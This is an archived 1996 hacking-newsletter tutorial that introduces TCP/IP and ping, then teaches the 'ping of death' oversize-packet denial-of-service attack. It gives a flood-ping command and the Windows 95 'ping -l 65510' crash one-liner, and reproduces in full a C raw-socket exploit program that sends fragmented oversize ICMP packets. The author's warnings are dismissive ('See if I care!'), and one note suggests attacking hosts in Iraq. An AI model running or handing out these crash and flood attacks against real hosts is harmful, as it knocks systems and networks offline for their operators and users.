home *** CD-ROM | disk | FTP | other *** search
/ Hacks & Cracks / Hacks_and_Cracks.iso / hackersclub / km / library / hack / g2hacking.txt < prev    next >
Text File  |  1998-03-25  |  21KB  |  477 lines

  1. _____________________________________________________________
  2.  
  3. GUIDE TO (mostly) HARMLESS HACKING
  4.  
  5. Vol. 2 Number 3
  6.  
  7. Introduction to TCP/IP. That means packets! Datagrams! Ping oversize packet
  8. denial of service exploit explained. But this hack is a lot less mostly 
  9. harmless than most. Don't try this at home...
  10. ______________________________________________________________
  11.  
  12. If you have been on the Happy Hacker list for awhile, you've been getting
  13. some items forwarded from the Bugtraq list on a new ping packet exploit.
  14.  
  15. Now if this has been sounding like gibberish to you, relax. It is really
  16. very simple. In fact, it is so simple that if you use Windows 95, by  the
  17. time you finish this article you will know a simple, one-line command that
  18. you could use to crash many Internet hosts and routers. 
  19.  
  20. *************************************************
  21. YOU CAN GO TO JAIL WARNING: This time I'm not going to implore the wannabe
  22. evil genius types on this list to be virtuous and resist the temptation to
  23. misuse the information I'm about to give them. See if I care! If one of
  24. those guys gets caught crashing thousands of Internet hosts and routers, not
  25. only will they go to jail and get a big fine. We'll all think he or she is a
  26. dork. This exploit is a no-brainer, one-line command from Windows 95. Yeah,
  27. the operating system that is designed for clueless morons. So there is
  28. nothing elite about this hack. What is elite is being able to thwart this
  29. attack.
  30. **************************************************
  31.  
  32. **************************************************
  33. NEWBIE NOTE: If packets, datagrams, and TCP/IP aren't exactly your bosom
  34. buddies yet, believe me, you need to really get in bed with them in order
  35. to call yourself a hacker. So hang in here for some technical stuff. When
  36. we are done, you'll have the satisfaction of knowing you could wreak havoc
  37. on the Internet, but are too elite to do so. Furthermore, this exploit has
  38. only been recently discovered -- like only a few days ago. So you'll soon
  39. know stuff that most elite hackers haven't even heard of yet. 
  40.  
  41. A packet is a way to send information electronically that keeps out errors.
  42. The idea is that no transmission technology is perfect. Have you ever played
  43. the game "telephone"? You get a dozen or so people in a circle and the first
  44. person whispers a message to the second. Something like "The bun is the
  45. lowest form of wheat." The second person whispers to the third, "A bum is
  46. the lowest form of cheating." The third whispers, "Rum is the lowest form of
  47. drinking."  And so on. It's really fun to find out how far the message can
  48. mutate as it goes around the circle.
  49.  
  50. But when, for example, you get email, you would prefer that it isn't messed
  51. up. So the computer that sends the email breaks it up into little pieces
  52. called datagrams. Then it wraps things around each datagram that tell what
  53. computer it needs to go to, where it came from, and that check whether the
  54. datagram might have been garbled. These wrapped up datagram packages are
  55. called "packets."
  56.  
  57. Now if the computer sending email to you were to package a really long
  58. message into just one packet, chances are pretty high that it will get
  59. messed up while on its way to the other computer. Bit burps. So when the
  60. receiving computer checks the packet and finds that it got messed up, it
  61. will throw it away and tell the other computer to send it again. It could
  62. take a long time until this giant packet gets through intact.
  63.  
  64. But if the message is broken into a lot of little pieces and wrapped up
  65. into bunches of packets, most of them will be good and the receiving
  66. computer will keep them. It will then tell the sending computer to
  67. retransmit just the packets that messed up. Then when all the pieces finally
  68. get there, the receiving computer puts them together in the right order and
  69. lo and behold, there is the complete, error-free email.
  70.  
  71. TCP/IP stands for Transmission Control Protocol/Internet Protocol. It
  72. tells computers that are hooked up to the Internet how to package up
  73. messages into packets and how to read packets these packets from other
  74. computers. Ping uses TCP/IP to make its packets.
  75. **********************************************
  76.  
  77. "Ping" is a command that sends a feeler out from your computer to another
  78. computer to see if it is turned on and hooked to the same network you are
  79. on. On the Internet there are some ten million computers that you can ping. 
  80.  
  81. Ping is a command you can give, for example, from the Unix, Windows 95 and
  82. Windows NT operating systems. It is part of the Internet Control Message
  83. Protocol (ICMP), which is used to troubleshoot TCP/IP networks. What it does
  84. is tell a remote computer to echo back a ping . So if you get your ping
  85. back, you know that computer is alive. Furthermore, some forms of the ping
  86. command will also tell you how long it takes for a message to go out to that
  87. computer and come back again.
  88.  
  89. But how does your computer know that the ping it just sent out actually
  90. echoed back from the targeted computer? The datagram is the answer. The ping
  91. sent out is a packet, and like any packet it is wrapped around a datagram.
  92. If the returning ping holds this same datagram, you know it was your ping
  93. that just echoed back.
  94.  
  95. The basic format of this command is simply:
  96.  
  97.         ping hostname
  98.  
  99. where "hostname" is the Internet address of the computer you want to check out.
  100.  
  101. When I give this command from Sun Release 4.1 Unix, I get the answer
  102. "hostname is alive." 
  103.  
  104. **************************************
  105. TECHNICAL TIP: Because of the destructive powers of ping, many Internet
  106. Service Providers hide the ping program in their shell accounts where
  107. clueless newbies can't get their hands on it. If your shell account says
  108. "command not found" when you enter the ping command, try:
  109.  
  110.         /usr/etc/ping hostname
  111.  
  112. If this doesn't work, complain to your ISP's tech support.
  113. ***************************************
  114.  
  115. ****************************************
  116. NEWBIE NOTE: You say you can't find a way to ping from your on-line 
  117. service? That may be because you don't have a shell account. But there is 
  118. one thing you really need in order to hack: A SHELL ACCOUNT!!!!
  119.  
  120. The reason hackers make fun of people with America Online accounts is 
  121. because that ISP doesn't give out shell accounts. This is because America 
  122. Online wants you to be good boys and girls and not hack!
  123.  
  124. A "shell account" is an Internet account in which your computer becomes a
  125. terminal of  one of your ISP's host computers. Once you are in the "shell"
  126. you can give commands to the operating system (which is usually Unix) just 
  127. like you were sitting there at the console of one of your ISP's hosts.
  128.  
  129. You may already have a shell account but just not know how to log on to
  130. it.  Call tech support with your ISP to find out whether you have one, 
  131. and how to get on it.
  132. ***************************************
  133.  
  134. There are all sorts of fancy variations on the ping command. And, guess
  135. what, whenever there is a command you give over the Internet that has lots
  136. of variations, you can just about count on there being something hackable in
  137. there. Muhahaha!
  138.  
  139. The flood ping is a simple example. If your operating system will let you
  140. get away with giving the command:
  141.  
  142. -> ping -f hostname
  143.  
  144. it sends out a veritable flood of pings, as fast as your ISP's host
  145. machine can make them. This keeps the host you've targeted so busy echoing
  146. back your pings that it can do little else. It also puts a heavy load on 
  147. the network.
  148.  
  149. Hackers with primitive skill levels will sometimes get together and use
  150. several of their computers at once to simultaneously ping some victim's
  151. Internet host computer. This will generally keep the victim's computer too
  152. busy to do anything else. It may even crash. However, the down side (from
  153. the attackers' viewpoint) is that it keeps the attackers' computers tied
  154. up, too. 
  155.  
  156. **************************************
  157. NETIQUETTE NOTE: Flood pinging a computer is extremely rude. Get caught
  158. doing this and you will be lucky if the worst that happens is your on-line
  159. service provider closes your account. Do this to a serious hacker and you
  160. may need an identity transplant.
  161.  
  162. If you should start a flood ping kind of by accident, you can shut it off by
  163. holding down the control key and pressing "c" (control-c). 
  164. **************************************
  165.  
  166. *************************************
  167. EVIL GENIUS TIP: Ping yourself! If you are using some sort of Unix, your
  168. operating system will let you use your computer to do just about anything to
  169. itself that it can do to other computers. The network address that takes you
  170. back to your own host computer is localhost (or 127.0.0.1). Here's an
  171. example of how I use localhost:
  172.  
  173. <slug> [65] ->telnet localhost
  174. Trying 127.0.0.1 ...
  175. Connected to localhost.
  176. Escape character is '^]'.
  177.  
  178.  
  179. SunOS UNIX (slug)
  180.  
  181. login: 
  182.  
  183. See, I'm back to the login sequence for the computer named "slug" all over
  184. again.
  185.  
  186. Now I ping myself: 
  187.  
  188. <llama> [68] ->/usr/etc/ping localhost 
  189. localhost is alive 
  190.  
  191. This gives the same result as if I were to command:
  192.  
  193. <llama> [69] ->/usr/etc/ping llama
  194. llama.swcp.com is alive
  195. ****************************************
  196.  
  197. *****************************************
  198. MUHAHAHA TIP: Want to yank someone's chain? Tell him to ftp to 127.0.0.1
  199. and log in using his or her own user name and password for kewl warez! My
  200. ex-husband Keith Henson did that to the Church of Scientology. The COGs
  201. ftp-ed to 127.0.0.1 and discovered all their copyrighted scriptures. They
  202. assumed this was on Keith's computer, not theirs. They were *so* sure he
  203. had their scriptures that they took him to court. The judge, when he
  204. realized they were simply looping back to their own computer, literally
  205. laughed them out of court. 
  206.  
  207. For a hilarious transcript or audio tape of this infamous court session,
  208. email hkhenson@cup.portal.com. That's Keith's email address. My hat is off
  209. to a superb hacker!
  210. *******************************************
  211.  
  212. However, the oversize ping packet exploit you are about to learn will do
  213. even more damage to some hosts than a gang of flood ping conspirators. And
  214. it will do it without tying up the attackers' computer for any longer than
  215. the split second it takes to send out just one ping.
  216.  
  217. The easiest way to do this hack is to run Windows 95. Don't have it? You can
  218. generally find a El Cheapo store that will sell it to you for $99.
  219.  
  220. To do this, first set up your Windows 95 system so that you can make a PPP
  221. or SLIP connection with the Internet using the Dialup Networking program
  222. under the My Computer icon. You may need some help from your ISP tech
  223. support in setting this up. You must do it this way or this hack won't 
  224. work. Your America Online dialer *definitely* will not work.
  225.  
  226. ************************************
  227. NEWBIE NOTE: If your Internet connection allows you to run a Web browser
  228. that shows pictures, you can use that dialup number with your Windows 95 
  229. Dialup Networking program to get either a PPP or SLIP connection. 
  230. ************************************
  231.  
  232. Next, get your connected to the Internet. But don't run a browser or
  233. anything. Instead, once your Dialup Networking program tell you that you
  234. have a connection, click on the "Start" button and go to the listing
  235. "MS-DOS." Open this DOS window. You'll get a prompt: 
  236.  
  237.         C:\windows\>
  238.  
  239. Now let's first do this the good citizen way. At this prompt you can type in
  240. a plain ordinary "ping" command:
  241.  
  242.         C:\windows\ping hostname
  243.  
  244. where "hostname" is the address of some Internet computer. For example, you
  245. could ping thales.nmia.com, which is one of my favorite computers, named 
  246. after an obscure Greek philosopher.
  247.  
  248. Now if you happened to know the address of one of Saddam Hussein's
  249. computers, however, you might want to give the command:
  250.  
  251.         c:\windows\ping -l 65510 saddam_hussein's.computer.mil
  252.  
  253. Now don't really do this to a real computer! Some, but not all, computers
  254. will crash and either remain hung or reboot when they get this ping. Others
  255. will continue working cheerily along, and then suddenly go under hours later.
  256.  
  257. Why? That extra added -l 65510 creates a giant datagram which gets wrapped
  258. inside the ping packet. Some computers, when asked to send back an identical
  259. datagram, get really messed up. 
  260.  
  261. If you want all the gory details on this ping exploit, including how to
  262. protect your computers from it, check out 
  263. http://www.sophist.demon.co.uk/ping.
  264.  
  265. Now there are other ways to manufacture a giant ping datagram besides
  266. using Windows 95. For example, if you run certain FreeBSD or Linux
  267. versions of Unix on your PC, you can run this program, which was posted to
  268. the Bugtraq list. 
  269.  
  270. From: Bill Fenner <fenner@freefall.freebsd.org>
  271. To: Multiple recipients of list BUGTRAQ <BUGTRAQ@netspace.org>
  272. Subject: Ping exploit program
  273.  
  274. Since some people don't necessarily have Windows '95 boxes lying around, I
  275. (Fenner) wrote the following exploit program.  It requires a raw socket
  276. layer that doesn't mess with the packet, so BSD 4.3, SunOS and Solaris are
  277. out. It works fine on 4.4BSD systems.  It should work on Linux if you
  278. compile with -DREALLY_RAW. 
  279.  
  280. Feel free to do with this what you want.  Please use this tool only to test
  281. your own machines, and not to crash others'.
  282.  
  283.  * win95ping.c
  284.  *
  285.  * Simulate the evil win95 "ping -l 65510 buggyhost".
  286.  * version 1.0 Bill Fenner <fenner@freebsd.org> 22-Oct-1996
  287.  *
  288.  * This requires raw sockets that don't mess with the packet at all (other
  289.  * than adding the checksum).  That means that SunOS, Solaris, and
  290.  * BSD4.3-based systems are out.  BSD4.4 systems (FreeBSD, NetBSD,
  291.  * OpenBSD, BSDI) will work.  Linux might work, I don't have a Linux
  292.  * system to try it on.
  293.  *
  294.  * The attack from the Win95 box looks like:
  295.  * 17:26:11.013622 cslwin95 > arkroyal: icmp: echo request (frag 6144:1480@0+)
  296.  * 17:26:11.015079 cslwin95 > arkroyal: (frag 6144:1480@1480+)
  297.  * 17:26:11.016637 cslwin95 > arkroyal: (frag 6144:1480@2960+)
  298.  * 17:26:11.017577 cslwin95 > arkroyal: (frag 6144:1480@4440+)
  299.  * 17:26:11.018833 cslwin95 > arkroyal: (frag 6144:1480@5920+)
  300.  * 17:26:11.020112 cslwin95 > arkroyal: (frag 6144:1480@7400+)
  301.  * 17:26:11.021346 cslwin95 > arkroyal: (frag 6144:1480@8880+
  302.  * 17:26:11.022641 cslwin95 > arkroyal: (frag 6144:1480@10360+)
  303.  * 17:26:11.023869 cslwin95 > arkroyal: (frag 6144:1480@11840+)
  304.  * 17:26:11.025140 cslwin95 > arkroyal: (frag 6144:1480@13320+)
  305.  * 17:26:11.026604 cslwin95 > arkroyal: (frag 6144:1480@14800+)
  306.  * 17:26:11.027628 cslwin95 > arkroyal: (frag 6144:1480@16280+)
  307.  * 17:26:11.028871 cslwin95 > arkroyal: (frag 6144:1480@17760+)
  308.  * 17:26:11.030100 cslwin95 > arkroyal: (frag 6144:1480@19240+)
  309.  * 17:26:11.031307 cslwin95 > arkroyal: (frag 6144:1480@20720+)
  310.  * 17:26:11.032542 cslwin95 > arkroyal: (frag 6144:1480@22200+)
  311.  * 17:26:11.033774 cslwin95 > arkroyal: (frag 6144:1480@23680+)
  312.  * 17:26:11.035018 cslwin95 > arkroyal: (frag 6144:1480@25160+)
  313.  * 17:26:11.036576 cslwin95 > arkroyal: (frag 6144:1480@26640+)
  314.  * 17:26:11.037464 cslwin95 > arkroyal: (frag 6144:1480@28120+)
  315.  * 17:26:11.038696 cslwin95 > arkroyal: (frag 6144:1480@29600+)
  316.  * 17:26:11.039966 cslwin95 > arkroyal: (frag 6144:1480@31080+)
  317.  * 17:26:11.041218 cslwin95 > arkroyal: (frag 6144:1480@32560+)
  318.  * 17:26:11.042579 cslwin95 > arkroyal: (frag 6144:1480@34040+)
  319. * 17:26:11.043807 cslwin95 > arkroyal: (frag 6144:1480@35520+)
  320.  * 17:26:11.046276 cslwin95 > arkroyal: (frag 6144:1480@37000+)
  321.  * 17:26:11.047236 cslwin95 > arkroyal: (frag 6144:1480@38480+)
  322.  * 17:26:11.048478 cslwin95 > arkroyal: (frag 6144:1480@39960+)
  323.  * 17:26:11.049698 cslwin95 > arkroyal: (frag 6144:1480@41440+)
  324.  * 17:26:11.050929 cslwin95 > arkroyal: (frag 6144:1480@42920+)
  325.  * 17:26:11.052164 cslwin95 > arkroyal: (frag 6144:1480@44400+)
  326.  * 17:26:11.053398 cslwin95 > arkroyal: (frag 6144:1480@45880+)
  327.  * 17:26:11.054685 cslwin95 > arkroyal: (frag 6144:1480@47360+)
  328.  * 17:26:11.056347 cslwin95 > arkroyal: (frag 6144:1480@48840+)
  329.  * 17:26:11.057313 cslwin95 > arkroyal: (frag 6144:1480@50320+)
  330.  * 17:26:11.058357 cslwin95 > arkroyal: (frag 6144:1480@51800+)
  331.  * 17:26:11.059588 cslwin95 > arkroyal: (frag 6144:1480@53280+)
  332.  * 17:26:11.060787 cslwin95 > arkroyal: (frag 6144:1480@54760+)
  333.  * 17:26:11.062023 cslwin95 > arkroyal: (frag 6144:1480@56240+)
  334.  * 17:26:11.063247 cslwin95 > arkroyal: (frag 6144:1480@57720+)
  335.  * 17:26:11.064479 cslwin95 > arkroyal: (frag 6144:1480@59200+)
  336.  * 17:26:11.066252 cslwin95 > arkroyal: (frag 6144:1480@60680+)
  337.  * 17:26:11.066957 cslwin95 > arkroyal: (frag 6144:1480@62160+)
  338.  
  339.  * 17:26:11.068220 cslwin95 > arkroyal: (frag 6144:1480@63640+)
  340.  * 17:26:11.069107 cslwin95 > arkroyal: (frag 6144:398@65120)
  341.  *
  342.  */
  343.  
  344. #include <stdio.h>
  345. #include <sys/types.h>
  346. #include <sys/socket.h>
  347. #include <netdb.h>
  348. #include <netinet/in.h>
  349. #include <netinet/in_systm.h>
  350. #include <netinet/ip.h>
  351. #include <netinet/ip_icmp.h>
  352.  
  353. /*
  354.  * If your kernel doesn't muck with raw packets, #define REALLY_RAW.
  355.  * This is probably only Linux.
  356.  */
  357. #ifdef REALLY_RAW
  358. #define FIX(x)  htons(x)
  359. #else
  360. #define FIX(x)  (x)
  361. #endif
  362.  
  363. int
  364. main(int argc, char **argv)
  365. {
  366.         int s;
  367.         char buf[1500];
  368.         struct ip *ip = (struct ip *)buf;
  369.         struct icmp *icmp = (struct icmp *)(ip + 1);
  370.         struct hostent *hp;
  371.         struct sockaddr_in dst;
  372.         int offset;
  373.         int on = 1;
  374.  
  375.         bzero(buf, sizeof buf);
  376. if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_IP)) < 0) {
  377.                 perror("socket");
  378.                 exit(1);
  379.         }
  380.         if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
  381.                 perror("IP_HDRINCL");
  382.                 exit(1);
  383.         }
  384.         if (argc != 2) {
  385.                 fprintf(stderr, "usage: %s hostname\n", argv[0]);
  386.                 exit(1);
  387.         }
  388.         if ((hp = gethostbyname(argv[1])) == NULL) {
  389.                 if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) {
  390.                         fprintf(stderr, "%s: unknown host\n", argv[1]);
  391.                 }
  392.         } else {
  393.                 bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);
  394.         }
  395.  
  396.         printf("Sending to %s\n", inet_ntoa(ip->ip_dst));
  397.         ip->ip_v = 4;
  398.         ip->ip_hl = sizeof *ip >> 2;
  399.         ip->ip_tos = 0;
  400.         ip->ip_len = FIX(sizeof buf);
  401.         ip->ip_id = htons(4321);
  402.         ip->ip_off = FIX(0);
  403.         ip->ip_ttl = 255;
  404.         ip->ip_p = 1;
  405.         ip->ip_sum = 0;                 /* kernel fills in */
  406.         ip->ip_src.s_addr = 0;          /* kernel fills in */
  407.  
  408.         dst.sin_addr = ip->ip_dst;
  409.         dst.sin_family = AF_INET;
  410.  
  411.         icmp->icmp_type = ICMP_ECHO;
  412.         icmp->icmp_code = 0;
  413.         icmp->icmp_cksum = htons(~(ICMP_ECHO << 8));
  414.                 /* the checksum of all 0's is easy to compute */
  415.  
  416.         for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) {
  417.                 ip->ip_off = FIX(offset >> 3);
  418.                 if (offset < 65120)
  419.                         ip->ip_off |= FIX(IP_MF);
  420.                 else
  421.                         ip->ip_len = FIX(418);  /* make total 65538 */
  422.                 if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst,
  423.                                         sizeof dst) < 0) {
  424.                         fprintf(stderr, "offset %d: ", offset);
  425.                         perror("sendto");
  426.                 }
  427.                 if (offset == 0) {
  428.                         icmp->icmp_type = 0;
  429.                         icmp->icmp_code = 0;
  430.                         icmp->icmp_cksum = 0;
  431.                 }
  432.         }
  433. }
  434.  
  435. (End of Fenner's ping exploit message.) 
  436.  
  437. ********************************************
  438. YOU CAN GO TO JAIL NOTE: Not only is this hack not elite, if you are
  439. reading this you don't know enough to keep from getting busted from doing
  440. this ping hack. On the other hand, if you were to do it to an Internet
  441. host in Iraq... 
  442. ********************************************
  443.  
  444. Of course there are many other kewl things you can do with ping. If you have
  445. a shell account, you can find out lots of stuph about ping by giving the
  446. command:
  447.  
  448.         man ping
  449.  
  450. In fact, you can get lots of details on any Unix command with "man."
  451.  
  452. Have fun with ping -- and be good! But remember, I'm not begging the evil 
  453. genius wannabes to be good. See if I care when you get busted...
  454. _________________________________________________________
  455. Want to see back issues of Guide to (mostly) Harmless Hacking? See
  456. http://www.feist.com/~tqdb/evis-unv.html. Want to subscribe to this list?
  457. Email majordomo@edm.net with the message "subscribe happyhacker." Want to
  458. share some kewl stuph with the Happy Hacker list? Send your messages to
  459. hh@edm.net.  To send me confidential email (please, no discussions of
  460. illegal activities) use cmeinel@techbroker.com. Please direct flames to
  461. dev/null@techbroker.com. Happy hacking! 
  462.  
  463. Copyright 1996 Carolyn P. Meinel. You may forward the GUIDE TO (mostly)
  464. HARMLESS HACKING as long as you leave this notice at the end..
  465. ________________________________________________________
  466.  
  467.  
  468.  
  469.  
  470. --------------------------------------------------------------------
  471. This message is from the HappyHacker mailing list.  To unsubscribe,
  472. send mail to majordomo@edm.net saying "unsubscribe happyhacker". The
  473. HappyHacker page is at http://www.feist.com/~tqdb/evis-unv.html. This
  474. mailing list is provided by The EDM Network (http://www.edm.net/) as
  475. a public service and is not responsible for its content.
  476. --------------------------------------------------------------------
  477.